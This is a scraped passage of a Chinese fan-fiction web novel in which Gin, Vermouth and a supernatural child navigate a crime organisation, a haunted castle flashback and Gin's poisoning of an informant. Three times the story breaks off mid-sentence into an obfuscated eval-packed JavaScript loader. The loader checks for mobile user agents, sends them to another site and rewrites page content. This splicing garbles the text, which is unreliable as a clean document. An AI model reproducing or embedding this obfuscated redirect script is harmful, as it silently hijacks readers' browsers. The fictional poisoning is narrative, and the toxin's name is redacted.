l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380427|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 得到了主人首肯的少年在古怪乌鸦的带领下,穿过长长的走廊,推开了走廊尽头的房门。 乌鸦抢先一步从门缝间挤了进去,扑扇着翅膀落到一只素白的手腕上。 没人说话。 ……好诡异。 房间里面温度很高,刚从外面进来,裹得严严实实的少年被闷了一头的汗:“你是黑泽阵吗?” 看起来根本到不了十岁! 就算黑泽阵真的是在组织传闻里面讲的那样,少年天才凶名赫赫,也不可能是个提枪都费劲的小鬼吧?! ……但是细看下来,长得根本不像人不说,连神态也和外表不符。 小孩侧倚在软沙发上,一手托着乌鸦,另一只手拈起摆在手边的果干,一粒粒喂给自己的宠物。 原本在一旁战战兢兢的女人心领神会,三步并作两步,冲出房门,还很贴心地帮他们把门关好……颇有几分落荒而逃的意味。 从她的身形步幅等判断,绝对是高手。 打不过。 原本很是坚定的客人怀疑了:拥有这么厉害的手下,说不定真的是黑泽阵呢? 至于年龄,反正都不是人了,实际年龄和外表不符也很正常吧? 飞鸟彻羽一看他眼睛转来转去的,就知道他是个实心眼,顿时,一个主意涌上心头。 ——当然是个好主意。 “……我知道你,”窝在沙发上,很是惬意的小孩半阖着眼睛,看起来真的有点高深莫测的感觉,“匹斯克的养子,来这里完成代号任务考核。” “爱尔兰威士忌,是不是?” 连我的任务内容都知道! 组织成员的代号考核不允许其他外围成员插手,并且需要配置一名代号成员作为“监考”,负责评估对方的忠诚、能力等一系列指标。 当然,不允许代号成员干涉,不代表不允许非代号成员组队。 而这就是作为组织二代三代的优待:站在监护人的人脉上,即使自己的能力稍有欠缺,挑选好足够优秀的“搭档”,不仅自己的安全能得到保障,要是对方足够给力,甚至可以一路带飞,走个过场拿到代号,之后转到闲职混混日子也不是不行。 尤其是现在正在组织里面如日中天的匹斯克更是如此,不但早就帮他物色好了未来的代号,爱尔兰威士忌,更是安排好了足够妥帖的帮手,直接打包到了黑泽阵这里来。 对此,未来的爱尔兰威士忌欣然接受——虽然绝对有自信凭自己通过代号考核,但是长辈的关心又有什么不对呢? “是,按照我……老爹之前答应好的,这次任务的报酬全都归你,我只拿代号。” 当然还有一点别的。 五十来岁的匹斯克拍拍养子的肩膀,不放心似的额外叮嘱道:“你们年纪相仿,记得好好相处。” 未来的爱尔兰偷偷打量着对面,若有所思。 看起来差五六岁的样子——也算是年龄相仿……吧? ……应该。 71.飞吧 于是等黑泽阵把贝尔摩德领回来,推开紧闭的大门的时候,未来的爱尔兰已经莫名其妙的被飞鸟彻羽指使着把酒吧里里外外清扫了一遍了。 某个反客为主的傻子咧着自己一口白净整齐的牙,站在吧台招徕客人,看着就让人心头火起,血压飙升:“欢迎光……可以出示一下证件吗?” 贝尔摩德没憋住,“噗嗤”一下笑出声——也有可能是故意的。 被帽檐的阴影遮住,显得更加阴鸷的少年脸色黑到仿佛能滴出水来,眼神精准锁定到窝在沙发上烤火,实际上肯定在抿着嘴偷笑的飞鸟彻羽的后脑勺上。 “过来。” 飞鸟彻羽一手举着刚刚烤好的棉花糖,慢慢挪到黑泽阵身边,仰起头来笑嘻嘻地,伸手要抱:“阵阵~” 于是黑泽阵俯身把他捞起来,顶着某人终于后知后觉反应过来,来来回回在自己脸上和飞鸟彻羽后脑勺上扫来扫去的神色,赏给他一个大大的白眼。 被小鬼耍得团团转的蠢货。 飞鸟彻羽坐在黑泽阵的手臂上,伸手环住他的脖子,把自己的下巴搭在他的肩膀上,悄悄观察着后面的女人,眼睛一眨不眨地,直勾勾地盯着她看。 作为这次的考官,贝尔摩德知道的多些,眼神不躲不避,和香槟对上视线,正好借此机会观察他。 于是就看到香槟冲她瘪瘪嘴,唇瓣微动,无声地吐出几个音节:老……橘……子。 贝尔摩德:一点都不讨人喜欢的臭小鬼。 橘子这种水果在保存的时候非常具有欺骗性,开始腐烂的时候,往往厚厚的果皮还没有什么变化,直到剥开外面那层完美的伪装,才发现里面的果肉早就已经烂的不成样子。 对于任何一个显了老态的人来说,攻击年龄都不是什么礼貌的行径,贝尔摩德拉平嘴角,想要给没家教的小鸟一点来自长辈的关…… 却没想飞鸟彻羽抢先一步缩回去,只留下一双“怯怯的”眼睛,开始颠倒黑白:“阵阵,她瞪我。” 贝尔摩德:……? 演都不带演的,纯栽赃啊? 黑泽阵顺手摸了摸他的后脑勺,权当是敷衍的安抚,背着自己沉甸甸的琴包:“你的东西呢?” “……在里面。” 很好,这样就不用拿自己的武器了。 黑泽阵对此很满意,一边把这次行动的地图和注意事项打包成一个邮件,一起发给他,一边咬住飞鸟彻羽递过来的棉花糖: “背下来,今天晚上六点,别迟到。” “我们不用……”少年伸手比划了一下,思考自己该怎样说才不会让对方觉得自己是在唱反调,只是在简单的提问,“提前踩点,制定计划之类的吗?” 之前也不是没有出任务的经验,难道这次的搭档其实是随机应变的类型吗? 不用想也知道他在想什么。 “你只需要遵从指挥。” 黑泽阵不关心他暗戳戳地想要证明自己的小心思——刚刚的所作所为已经证明了,为了防止他再在任务中被随便一个小孩骗得团团转,他还是少证明自己比较好。 话毕,黑泽阵给飞鸟彻羽拉上帽子,推开大门准备离开,拖把先一步飞了出去,飞鸟彻羽看着被丢在原地,大眼对小眼的两人,挥挥手: “拜拜。” * 这次任务的目标,就是要拿到放在银行某个保险柜里面的账本。 黑泽阵已经提前踩好了点,在街对面的高层上架好了枪,开始有条不紊地指挥行动和撤退。 贝尔摩德坐在街角的一处咖啡厅的角落,正好可以一面负责盯梢的同时,也能看见香槟的动向: 飞鸟彻羽坐在人行道的长椅上,在路灯下断断续续地吹着哨笛,时有时无的旋律透过身上的耳麦,传达给黑泽阵。 “哎呀~抓到一只小老鼠。” 贝尔摩德又换了新的造型,扮成了某个在街上逛来逛去的男人,凑在飞鸟彻羽面前俯下身子,怎么看怎么不怀好意。 “在给黑泽报信吗?你是他的观察员?” 一般在条件允许的时候,狙击手会配备专门的观察员,负责报点、保护、观察周围环境等等的工作。 飞鸟彻羽只有在黑泽阵面前的时候才有表达欲,不是很想和她讲话。 “是怎么用哨笛交流的呢?” ……真烦。 飞鸟彻羽吹出一段简短的音节:“这是A。” 然后又是另外一段截然不同的旋律:“这是F。” ——阿阵有绝对音感,直接吹过去就可以,他会听懂的。 贝尔摩德心下了然:这是变式版本的摩斯密码。 从她的角度,可以看见香槟面前摆的乐器盒被硬币纸币塞得满满当当,不只有零钱,一眼看下去,还有不少大钞——看起来他俩之前没少玩这一套。 一只白颈鸦在小孩厚厚的羽绒兜帽上站着,对着不怀好意的家伙很是凶悍的拍打着翅膀。 “代号任务不允许代号成员插手——你们这是在作弊,知道吗?” “香槟”再怎么定位尴尬,到底也是个代号。 “其实是在告状,”飞鸟彻羽吹出很长的一大段,理直气壮地盯着她,“‘贝尔摩德图谋不轨,需要支援’。” 小孩慢吞吞地将自己的东西收拾好,背着自己小小的背包:“除非是你请我吃夜宵的话,我可以勉为其难地同意和你聊一会天。” “你是专门来找我的对吧?” 天边擦黑的夜色氤氲开来,月色攀上枝头,千面魔女无言地看着那双在灯光下反着光的眼睛,看起来像是剔透的玻璃: “……那现在再给你的阿阵补上一句,就说‘讨厌的人贩子贝尔摩德要请你吃甜品了’。” 贝尔摩德一手托腮,看着对面在用小勺一点一点挖着布丁的小孩,还是没按耐住自己的好奇心: “吹得那么难听,是怎么赚到钱的?” 该不会是里面的钱都是自己放进去的吧? 飞鸟彻羽挖了两口又不想吃了,叼着勺子含糊道:“小孩子去街头表演的话,还是长得可爱比较重要吧?” 一时间居然找不到理由反驳:) 昏黄的灯光打在飞鸟彻羽的头顶,睫毛垂下浓密的阴影。 ……真像啊。 除了没有眼角的两颗泪痣,其他都像是在等比例放大一样。 但是贝尔摩德更感觉到,这张雷同的皮囊下面不是自己先认识的那一个。 风情万种的影后托着腮静静打量着面前的孩子,似悲似叹的语气仿佛是在吟唱赞美诗:“……我刚出道那会的时候好像见过你。” “你当时这么高,”年纪大的人念起旧来总显得有些唠叨,贝尔摩德伸手在桌腿的位置比划了一下,“看起来……三四岁的样子。” 被牢牢刻在记忆深处的咒语即使三十年没有提起也不会念错:“莱瑞安·克里斯蒂安·莫利诺,是这个名字吧?” * 准确的来说不是刚出道,是在出道两年,十九岁的时候。 她刚拿了自己人生中第一个大满贯,和当初煤矿商人家的小儿子打得火热,几乎到了谈婚论嫁的地步。 就是在那个时候,她随着男友,接到了来自莫利诺城堡的邀请函。 城堡里无一处不是纸醉金迷,随便抠下一块浮雕就是上百年的艺术品。 城堡的主人,克里斯蒂安·莫利诺当时已经九十多岁了,但意外的精神很足,拉着年轻的合作人洽谈生意,其他家眷被安排在剧院看木偶戏。 很逼真的人偶。 即使是过了三十年,贝尔摩德再想起来那个场面依然心悸不已。 就像活人表演的一样。 干枯如柴的身躯裹着华丽臃肿的礼服,顶着一张张惨白空洞的面具,随着配乐故事不停地舞动,像是飞蛾扑火,努力燃尽最后一点点生命的余烬。 说实话,很无聊。 无聊的故事,无聊的服饰,无聊的对白…… 怪诞的歌声在幕布后响起,不像是人类已知的任何一种音乐,倒像是海妖的狩猎曲。 要不是处于社交礼节,莎朗早就跑了。 周边的女人孩子都听的如醉如痴,反倒显得被困在椅子上坐立不安的莎朗像是个不懂欣赏的庸人。 也许是中耳炎的缘故,莎朗开始给自己找补,中耳炎会一定程度上影响听力。 心底隐隐约约的异样压了再压,还是有种难以言喻的恐慌感,直到最后不得不提起裙摆,向旁边的人小声致歉:“不好意思,离开一下。” 墙壁两边挂着不知道多少肖像画,其中她能叫出来名字的,无一不是现在活在金字塔尖的龙头巨鳄,带着审视的目光,像是在估算着她价值几何。 细细看过去,每一幅画的笔触都被最小号的笔刷细细抹平,细腻的像是少女嫩滑的皮肤。 能给这么多大佬作画,不愧是做奢侈品起家的Marino。 鞋跟踩在厚地毯上,颇有几分落荒而逃的意味。脚步声渐行渐远,画中的人不约而同地眨了眨酸痛的眼睛。 莎朗在古堡里面绕了几圈,终于找到一个盥洗室,给自己洗了两把脸清醒一下。污水流入下水道,然后被透明的胶状生物吞下,镜子凑过来,照着她惨白的脸。 也许魔法的妙用就在于此——每年能省下一大笔打理费和服务费。 这里地形复杂,各个房间又都大同小异,没人指引实在很容易迷路。 莎朗循着自己来时模糊的印象,企图原路返回,最后不得不以失败告终,听着声音推开邻近的一扇扇房门。 空的。 空的。 空……小孩子?! 像是早早就听见了有人在推门,所以提前等在门口,准备吓她一跳。 事实上也确实是成功了。 莎朗低头细细打量着一动不动站在门口,仰着头欣赏着自己表情的小孩——看起来像是一座镶嵌了两颗宝石做眼睛的大理石像。 “……你没见到我妈妈?” 疑问的语气,表达出来的确实肯定的意思。 莎朗只觉得这副嗓音耳熟,细细一想,迅速惊起了一身的冷汗。 ——听起来就和在剧院唱歌的声音格外相似。 突然意识到自己好像发现了什么不得了的秘密的女郎惊疑不定地发出两声气声,算是作为这个问题的答复。 哦,感冒了,难怪没有被【言灵】蛊惑。 “你是客人吗?” 莎朗不知道应该回答“是”还是“否”,她当时也不过是个十九岁的少女,被周遭古怪的气氛搞得神经紧绷,生怕自己一个不顺心,就叫这个小怪物翻脸。 “……是。” “撒谎,”小怪物瘫着一张脸,戳穿了别人的谎话也没什么特殊的反应,看起来情绪还算稳定,也可以正常沟通的样子,“你叫什么名字?” “莎朗,莎朗·温雅德,”见祂看起来还挺好说话的样子,莎朗开始小心翼翼地寻求帮助,“能麻烦你给我指一下路吗?我想回剧院,去找我的朋友。” “妈妈很饿了,不是客人的话,可能会被她吃掉,”小怪物看起来有些犹豫,“你看起来很弱,也跑不快的样子。” “……吃掉是什么意思?”莎朗干笑两声,挤出一个一点也不好笑的俏皮笑话,“变成挂在外面的肖像画吗?” 小孩拍拍手,清脆的掌声在空旷的房间里回荡,叫人听了心里发毛:“你没资格做画像,最多被绞碎了当颜料。” 同样带着苍白面具,这次做了佣人打扮的“人偶”搬过来一张圆桌,铺好桌布,开始一样样往上摆精致的甜品。 莎朗离近了一看,差点被恐怖的一幕吓得吐出来: 眼前的“人偶”和剧院舞台上表演的演员如出一辙,枯瘦的四肢躯干根本不是光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403396|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秃秃的木头,而是干瘪的人! 裸露的皮肤上密密麻麻爬满了可怖的藤壶,重点集中在各个关节的部位,正在顺着皮肤缓慢地蠕动,齐心协力,控制着整个身体的运行。 而被衣料遮住的部位凹凸不平,不用看也知道底下是什么东西。 莎朗后知后觉地意识到:……也许祂之前说的话没在开玩笑。 “你喜欢吃哪一种?随便挑,我最喜欢甜食了,越甜越好,甜掉牙。” 小孩挖下一大块焦糖布丁,连带着上面的糖霜一起塞进嘴里,完美到没有瑕疵的脸上吐出再恶毒不过的话。 “陪我玩一会,我开心的话就把你送回去,不然……你跳木偶舞肯定比他们好看。” * “我今年五十多了,克里斯蒂安还真是……” 贝尔摩德吞下了不适合在孩子面前讲的话,只露出一个古怪的表情。 飞鸟彻羽歪歪头:“可是我没在画廊上见过你?” 在古堡里面大大小小的每个角落他都拜访过,一张张被繁重画框装裱着的,臃肿又腐臭的丑陋脸庞,不论从什么角度望过去,都在目不转睛的与路过的活人对视。 应该不存在遗漏的可能。 “我没钱呐,”贝尔摩德勾起唇角,说着似真似假的话,“私人定制的服务太贵了,我可负担不起。” “我知道一点……你可能知道隐情的东西。” 贝尔摩德循着记忆,一点点挨个报出挂在墙上的,肖像画的名字。 “真奇怪,明明每一个单拎出来都是名声赫赫的巨鳄,偏偏在短短三个月的时间里,接连死亡,没有一个活口——其中也包括你名义上的父亲,克里斯蒂安·莫利诺。” “而这个时间正好和香槟进入组织的时间对的上。” 贝尔摩德不会甘心一辈子被困死在组织里,直到失去作为实验耗材的价值,然后被埋进草坪里当肥料。 被胸膛包裹着的,是一颗鼓动跳跃着的贪欲和野心。 也许我摸到了“长生不老”的关键。 有些事情其实经不起推敲: 比如Marino究竟是靠什么起家,才能把那么多巨头笼络到手,可以拥有挑选客人的权力? 再比如“白鸠制药厂”之前不过是个有点小名气的新作坊,之前从未涉及过“永生”的领域,怎么就能做到从香槟加入组织开始,从立项到完全成果不到两年的时间,就研制出“银色子弹”? 又或者为什么香槟的实际年龄和祂的外表年龄不符? 贝尔摩德心中隐隐约约有了猜测,其实答案从一开始就已经写在明面上了: 香槟,胜利之酒。 ——战利品的意思。 哎……呀…… “他们不是一起死掉了——只是一起烂掉了。” 飞鸟彻羽把布丁戳的烂烂的,用勺子边缘切成小块,然后再仔细地一点点压平,最后弄成紧紧贴在碟子底部的烂泥。 顶着贝尔摩德探究的目光。 小心翼翼地试探,不着痕迹地神秘主义,这种把戏总能叫贝尔摩德吊足了对面的胃口——但是飞鸟彻羽不想配合的时候,就会把巴掌打到所有人的脸上。 他知道她想问什么,当然不愿意如她的意。 飞鸟彻羽在自己的外套口袋里摸出一粒小小的纽扣窃听器,和挂在耳羽上,被发丝遮住的耳麦一起,整齐地摆放在桌子上。 被两块布丁喂饱的塞壬现在心情还算不错,可以努力活动面部肌肉,挤出一个对于塞壬来说意味着“呵斥”的笑脸: “BOSS死掉了,在我五岁的时候老死了,现在的那个是冒牌货。” 你猜猜我有没有在撒谎? 再猜猜别人会不会听见? ——香槟是无可替代的灵丹妙药,贝尔摩德是展示药效的展品,首当其中的会是谁? “你威胁我,”贝尔摩德只觉得刚刚还是胜券在握的筹码,现在却变成了烫手的山芋,但是有被威胁,也意味着有被利用的价值,“你想叫我做什么?” 飞鸟彻羽欣然承认,顺便点点头把小碟推在一边:“还没想好……不过总不会叫你打白工。” 贝尔摩德伸手,躲开拖把的攻击,接过飞鸟彻羽递过来的纽扣窃听器,两下摁灭:“它为什么对我这么有敌意?” 飞鸟彻羽不撒谎的时候还是很真诚的:“因为你这个易容是个精怪猎人啦,上周刚刚抓走了一只……” 一身风寒的黑色幽灵披着夜色,踏着风雪,无声地推开厚重的大门。 “阵阵?” 黑泽阵摘下帽子,扣在飞鸟彻羽头上,把他抱起来。 亮银色的头发又长了些,顺滑光亮的披在背后,像是甩开了一道月华。 “布丁不吃了?” 太长时间的狙击,本就不厚实的风衣被冷风浸透,连那张冷峻的脸都被冻得冰凉。 也许阿阵不爱笑也有这方面的原因,飞鸟彻羽如是想到,天太冷了又不愿意穿厚衣服,脸都冻僵了笑不出来,久而久之就习惯冷着脸了。 飞鸟彻羽拆下一层层厚厚堆在脖子上围巾,分给他一半,一边抱着给他暖暖,一边小小声地给他抱怨:“……不好吃,太甜了。” “明明是之前吃太多现在吃不下了,”贝尔摩德从来看热闹不嫌事大,现在又带了几分有仇快报的意味,看准时机栽赃拱火,“这是第三份了吧~” 飞鸟彻羽一僵,像是偷吃小饼干被噎住的小仓鼠,悄悄拱进黑泽阵的脖颈间,开始企图通过装死,施展糊弄大法…… 被黑泽阵捏住了后颈。 明明没怎么用力,飞鸟彻羽还是非常配合,非常真情实感地“哎呦”一声,给足了对方情绪体验。 黑泽阵冷冷地扫了坐在一旁撑着下巴的贝尔摩德一眼,把屋内的温暖甩在身后: “以后少和她说话。” “好哦。” 72.飞吧 经此一役,顺利获得代号的爱尔兰被黑泽阵的实力折服,时不时地就来黑泽阵面前“大哥”长“大哥”短的,完成了任务也不快滚(飞鸟语),申请了附近的安全屋,甚至接了几个任务,颇有几分要在这里常驻的意味。 好在没有入侵他们的家,最多最多只是在酒吧转转,飞鸟彻羽也不是不能忍受……忍不了一点! 如果说飞鸟彻羽蜂窝煤似的性格里面能有什么可取之处——持之以恒算一个。 每次见面都难得的打起十二分精神,跃跃欲试地产出各种坏点子,想要让他知难而退。 黑泽阵在他要搞出什么大动静之前会象征性地阻拦一下,其他的时候也就随着他俩斗智斗勇,等到爱尔兰例行公事似的被欺负走之后,飞鸟彻羽眼巴巴地凑到自己面前告黑状。 可这在某个生活在食物链最底层而不自知的家伙眼里又是另一层意思。 爱尔兰:大哥维护我。 除了养父就是任务,基本没什么同龄人交流经验的少年大受感动,并热情表示要把黑泽阵排在自己喜欢的第二位,仅次于养父匹斯克之后。 ——香槟排倒数第一。 “阵阵,”看着爱尔兰顶着一脸的乌龟闷头擦盘子,飞鸟彻羽开始悄悄拉踩,“你这么厉害,怎么还没有代号?为什么爱尔兰这种傻瓜都有?” “你叫谁是傻瓜?” “是不是傻瓜自己都不知道,居然还要开口问别人,啧啧啧,”飞鸟彻羽超绝偷换概念配备PUA话术,“而且你先觉得自己是傻瓜,而不是好奇阵阵为什么比你有实力偏偏还没代号。” 对哦…… 爱尔兰觉得香槟虽然一无是处,和人混的久了,也能学到两句人话。 有这个水平,任务也没少做,不应该啊…… 从小在组织长大,也没有什么信任问题,一直压着不给代号是为什么? 爱尔兰想不明白。 黑泽阵自己隐隐约约有猜测可能和香槟有关,但是这种事既然不知道当然也不合适另外去提:“……递交了代号申请,但是一直没回应。” 爱尔兰也想知道这个问题:“我记得有个合作过的同伴之前掉到人事那边去了,要不我找他打听打听?” “阿阵……!” 刚被接回来的飞鸟彻羽抱着自己散养的乌鸦,像是嗅觉灵敏的小狗,一见面就闻到了“隐瞒”的味道。 黑泽阵走到墙角,把他抱高一点,飞鸟彻羽接过粉笔,在一道道垒起来的笔迹最上面划了一条。 “你背着我有什么秘密?” 飞鸟彻羽仗着黑泽阵总不能把自己丢下去,把脸埋在他的侧颈。 没有血腥味,也没有药味。 才在实验室里养了三个月,三个月的话……应该也不至于是什么很大的意外……难不成是…… 想不出来。 不过只要没受伤就算不上是什么紧急的大事。 心率正常,步幅正常,蛋挞也正常。 “……阿阵没有长高耶。” 黑泽阵觉得飞鸟彻羽在大惊小怪:“我都一米九了。” 十七岁身高定型是很正常的事情。 飞鸟彻羽自己靠墙站好,由黑泽阵画好记号: “长矮了。” 飞鸟彻羽:阿阵好过分哦。 不理会他幽怨的眼神,黑泽阵给自己披上风衣,收拾妥当:“出门一趟,晚饭之前回来。” 言下之意,老实点在家等着。 飞鸟彻羽竖着耳朵,贴在门板上,一直等脚步声走远,凑到窗前,摸出一支水笔,先把拖把送了出去:“跟着他……阵阵。” ——被等在窗户正下方的黑泽阵抓了个正着。 飞鸟彻羽撤回一只乌鸦。 “下来,穿好衣服,带你去。” 就知道他不会老实听话。 * 黑泽阵最后把飞鸟彻羽安置到一条街外的,只身前往约定的地点。 对方一身朴素的格子外套,遮住了大半张脸的眼镜,还有一头毛躁的红发,看起来像个不太服管教的学生。 男生揭开夹在自己镜框上的墨镜镜片,从这个角度可以看见他之前被遮住的雀斑:“我是威雀。” “黑泽阵。” 本来就是第一次见面,没有私交也没有发展关系的必要,对方丢过来一只被密封着的小巧U盘,被黑泽阵接在手里,取出转化器,切断网络之后插在了备用手机上。 随着他抬手的动作,黑泽阵嗅到了一股浅浅的汽油味,嫌弃味道刺鼻,不着痕迹地退后了半步。 画面有点不清楚,看起来是系统迭代四年前的界面,被考下来的截图,黑泽阵用手划着屏幕,闪亮的屏幕照在眼球上,反着奇异的光。 “……找你的资料可废了我不少功夫。” 说起这事威雀就觉得有点亏本,本来只是以为动动手指的工作,只要导出资料就算完事,结果爱尔兰又提了一嘴,说黑泽阵有提交过代号申请,而系统中没有一次记录,这才发现事情比自己想得还要麻烦。 “差不多四年前吧,组织的内网更新了一次,之前的就弃之不用了,新的用了几年一直没出什么差错,所以也没人发现你的档案被录漏了。” “黑泽阵”这个档案,在五年前最后一次更迭信息的时候,获得了代号“GIN”。 ——因为旧档案已经是代号成员,所以再次提交代号申请不会被受理,而新档案一直没有收到代号申请,所以人事组也不会给他安排代号任务。 威雀看着对方的脸色随着下滑的动作越来越糟,觉得也算是正常。 谁被骗着多干了五年外围,心情都不会好。 琴酒全程不说话,威雀等的有些心急,伸手进口袋里去摸烟盒……只抓到一只孤零零的打火机。 烟抽完了。 为了掩饰尴尬,只好装作很忙,开始研究抚平自己的裤缝线,然后双手揣兜,借着衣料的遮掩,把玩着自己的车钥匙。 ——全都被琴酒用余光一一看在眼里。 琴酒默默将手机息屏,拔下U盘,放进口袋里: “你什么时候拿到代号的?” “……一周之前?” 威雀一时没想到他问这个干什么,小心翼翼地语气斟酌着实话实说,生怕戳痛到了他的痛楚。 他就是个走了运气混了个代号的后勤,没什么根基,也不认识什么代号,所以才想着帮点这种小忙混个好。 要是惹到这种踩着尸体爬上来的行动组,怕是连怎么死的都不知道。 “之前有和别人讲过这件事吗?” “哪能呢?干我们这行的,最先死的就是舌头长的。” 敢随便乱传尤其是代号成员的情报,他不要命了? 很好,虽然情况糟糕透了,但至少也还不是完全都是烂消息。 琴酒从风衣口袋里面摸出一盒烟递给他,把威雀打发走之后,转身从邮筒后面堵住一只小鸟。 飞鸟彻羽:OvO “你把他炸死啦?” “嘁。” 琴酒脱下手套,用之前威雀装U盘的袋子封好,丢给拖把:“带远点,找个地方烧了。” 拖把只是一只鸟而已,听不懂人话,只知道对着琴酒没带手套的手啄来啄去,甚至还想扑扇着翅膀用爪子给他见见血。 “拖把!” 飞鸟彻羽还挺喜欢的拖把的,虽然说乌鸦聪明是一回事,但是聪明的同时又像拖把这样有眼力见,天生就是当奸臣的料的,真不多见。 为了防止今天晚上加餐吃烤乌鸦,飞鸟彻羽一手一边,抓住拖把的翅膀,开始讲鸟语。 “……去哪里烧掉呢?” “这附近有座火化场。” 哦。 飞鸟彻羽扭过头去,继续对着拖把嘀嘀咕咕。 ……看着真像只鸟似的。 琴酒本来就很差劲的心情更差劲了,于是对着“无辜受害”的翻译痛下毒手。 飞鸟彻羽被他捏着脸,说话有点含糊:“真真珍莫华现窝的?” 明明一直很安静地藏在后面,一动不动啊? “……下次藏的时候把乌鸦也藏好。” 只要自己一有点风吹草动,就有一只或者几只乌鸦飞到邮筒后面通风报信……发现不了才奇怪吧? 飞鸟彻羽眼睛转来转去,明显是有话想说。 琴酒现在心情糟糕透了,还没理清一个思路:“想问就问。” “你的代号是什么啊?” 少年气死了,脸上扯出一个狞笑:“gin。” ……哇哦。 飞鸟彻羽眨眨眼:“那个流浪汉一号是老鼠。” 废话。 远处的威雀对这件事办的很自信,很快活地走向自己的车子,拉开车门,踩下油门,飞驰着驶入机动车道。 拆开包装,一边加速一边拿出打火机,点燃了刚从琴酒那里得来的香烟,深吸一口,摇下车窗,开始快活地吞云吐雾。 不一会,突然开始呼吸困难,失去了对身体的控制,开始控制不住地浑身痉挛,口吐白沫。 驾驶员失控之后,轿车开始在车流中不断加速,引得周围的车辆连忙方向盘打到底,纷纷避让,最后丝毫没有半点犹豫,径直撞在了十字路口的交通灯上。 车身侧翻,油箱泄漏,短短几分钟大火就吞噬了整个车子,最后一场爆炸,为他的生命画下了句号。 ——□□,6.4mg/kg就足以致死。 刚刚在短暂接触的时候,琴酒注意到威雀摸打火机,说明烟瘾较重。 墨镜镜片夹在自己镜框上,说明是自己开车,并且之后也会开车离开。 肢体动作丰富,缺乏耐心,喜欢抓着自己的车钥匙,说明喜欢开快车,甚至很有可能是路怒症。 香烟是完好一盒,没有拆封,□□是在风衣口袋里面的时候粘在包装纸上面的。 ——他坐在车上准备抽烟,不论是已经踩下油门不得不单手拆封,还是没有踩油门双手拆封,□□都会从烟盒-手指-烟嘴,然后在吸烟的过程中中毒身亡。 开车的时候是没有洗手/戴手套的条件的。 威雀之前有过危险驾驶的前科,身上有的味道说明油箱漏油,还有事发现场的大量人证,一系列出于警力等等现实因素,会被定性为是“意外事故”。 关键证据早就被烧了个精光。 ——一场诸多“巧合”拼凑而成的意外身亡。 威雀在此之前并没有和别人提起有关“黑泽阵档案”的事情,死人总比活人更擅长保守秘密。 不过现在重点不是鸠占鹊巢的金酒。 五年前,自己被任命了代号。 四年前,正好是和香槟进入组织的时间对的上,更迭了系统,偏偏就是这个时候,有了一个新的GIN——同一个代号被发给了两个人。 只有BOSS有任命代号的资格。 现在消除档案的访问记录已经是不可能的事情了,这也就是琴酒在一瞬间就做出判断,威雀非死不可的原因: 死了这件事还有周转的余地,要是没死,顺藤摸瓜,首当其冲的就是琴酒本人。 啧! 飞鸟彻羽仰起头,从琴酒的角度能看见他清明的眼睛:“所以是谁,给你任命的代号呢?” 从一开始的镶合体,在到现在一桩桩一件件…… ——BOSS死了,被穿着他尸体回来的镶合体取代了。 琴酒先前隐隐有猜测但是假装不知道,可是现在,飞鸟彻羽当着怪物的面,上手扒开他的眼皮了。 塞壬先前的话语一语成谶,当时像是玩笑一样的预言,现在细细想来却更像是诅咒: “我说过的吧,阿阵?你睁开了眼,我就不会让你有机会装看不见。” “这次不跟我走的话,说不定马上就会没命哦。” 琴酒没说话,代替喉咙的是手里的波莱塔,直直怼在飞鸟彻羽的脑门上:“你早知道我的事?” “不知道,但是这种古怪试一试也不吃亏嘛,”飞鸟彻羽把拖把抱在怀里,一下一下顺着它的羽毛,安抚它想要对着琴酒又抓又啄的想法,“我没想到这次的效果这么好,本来只是抱着试一试的想法,才暗示爱尔兰去查的。” “而且就算是你现在打死我,也不会改善现状,甚至还会更糟糕。只是背叛组织,只会有组织自己的势力来清理你,要是杀掉我,断了所有人的长生梦……本来就已经很艰难了,就别再给自己额外添堵了吧?” “所以做出选择吧,跟我回家?” 怎么想都是阿阵的错吧? 明明之前有那么多次,放任不管就可以永诀后患了,偏偏要做出那些多余的事情,名字也好,鸟窝也罢——弃养会被放在道德至低点上受到谴责的。 琴酒是从未有过像今天这样,这么真诚的希望飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419475|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟彻羽去死,只是他可以死在任何时候,偏偏不能在现在死在自己手上。 “我不在乎BOSS是谁,他是男是女是老是少都无所谓。” 这是琴酒的真心话。 琴酒是矛盾又纯粹的统一体,他的野心和他的忠诚在性格中占据同样的重量并且不可分割。野心的部分来源于对自己实力的自知和自信,而忠诚则来源于他的履历。 琴酒不在乎BOSS究竟是谁,特征如何,但他对BOSS的能力是有要求的。 对于琴酒来说,不论谁当BOSS,只要符合他对BOSS的预设,就可以得到他的忠诚——本质上不是对组织献出忠诚,而是至始至终他忠于自己。 而飞鸟彻羽不符合他对BOSS设定的标准,至少现在不是。 “随便你,”琴酒收起枪,懒得和他生气,“我要回去。” “回去会死掉呢?” “那是你应该考虑的问题,”琴酒不信任飞鸟彻羽,但不可否认的是,再没人会像琴酒一样了解他,“你敢拿我的命去赌吗?” ——飞鸟彻羽从来没有预想过要他的命,这点琴酒心知肚明。 * 回去的时候,不出意料的,客人已经坐在沙发上等待主人回家了。 “很久没见了,好孩子。” 